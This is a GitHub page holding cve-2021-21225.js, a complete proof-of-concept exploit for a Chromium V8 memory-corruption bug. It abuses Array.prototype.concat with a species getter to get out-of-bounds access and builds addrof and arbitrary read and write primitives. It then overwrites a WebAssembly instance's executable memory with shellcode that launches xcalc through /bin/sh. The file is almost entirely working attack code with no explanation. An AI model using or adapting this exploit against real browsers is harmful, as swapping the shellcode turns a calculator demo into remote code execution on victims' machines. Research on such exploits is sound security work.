-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathcve-2021-21225.js
183 lines (145 loc) · 4.06 KB
/
cve-2021-21225.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
/*
CVE-2021-21225
HEAD @ 3f9ff062b053155df7897f199e80a8bafe7c34df
https://bugs.chromium.org/p/chromium/issues/detail?id=1195977
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21225
*/
let bs = new ArrayBuffer(8);
let fs = new Float64Array(bs);
let is = new BigUint64Array(bs);
const ftoi = x => {
fs[0] = x;
return is[0];
}
const itof = x => {
is[0] = x;
return fs[0];
}
const hex = x => {
return '0x' + x.toString(16);
}
let cor;
function foo() {
let x = new Float64Array(1024);
x.__defineSetter__('length', () => {});
let y = [
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
];
delete y[0];
let z = new Float64Array(8);
let oob = [1.1];
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
const c = new Function();
c.__defineGetter__(Symbol.species, () => {
return function() { return x; };
});
y.constructor = c;
Array.prototype[0] = {
valueOf: function() {
y.length = 1;
new ArrayBuffer(0x80000000);
delete Array.prototype[0];
}
};
Array.prototype.concat.call(y);
z[0] = x[1];
z[1] = itof(ftoi(x[2]) + 0xfcn - 8n);
return {
ptr: ftoi(x[2]) + 0x60n,
oob: oob,
flt: flt,
obj: obj
};
}
function bar(a) {
let x = new Float64Array(1024);
x.__defineSetter__('length', () => {});
let y = [
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, {}
];
delete y[19];
let z = new Float64Array(8);
z[0] = itof(a);
const c = new Function();
c.__defineGetter__(Symbol.species, () => {
return function() { return x; };
});
y.constructor = c;
Array.prototype[19] = {
valueOf: function() {
y.length = 1;
new ArrayBuffer(0x80000000);
Object.prototype.valueOf = function() {
cor = this;
delete Object.prototype.valueOf;
throw null;
}
delete Array.prototype[19];
}
};
Array.prototype.concat.call(y);
}
function baz() {
let x = foo();
try { bar(x.ptr) } catch (_) {}
let a = ftoi(cor[0]) & 0xffffffffn;
cor[0] = itof((1000n << 32n) + a);
return {
oob: x.oob,
flt: x.flt,
obj: x.obj
};
}
/* flt.elements @ oob[6] */
/* obj.elements @ oob[15] */
let { oob, flt, obj } = baz();
function addrof(o) {
let a = ftoi(oob[15]) & 0xffffffffn;
let b = ftoi(oob[6]) >> 32n;
oob[6] = itof((b << 32n) + a);
obj[0] = o;
return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}
function read(p) {
let a = ftoi(oob[6]) >> 32n;
oob[6] = itof((a << 32n) + p - 8n + 1n);
return ftoi(flt[0]);
}
function write(p, x) {
let a = ftoi(oob[6]) >> 32n;
oob[6] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}
let wasm = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);
let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;
let rwx = read(addrof(instance) + 0x68n);
/* DISPLAY=':0.0' xcalc */
let shellcode = new Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);
write(addrof(buf) + 0x14n, rwx);
for (let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]);
entry();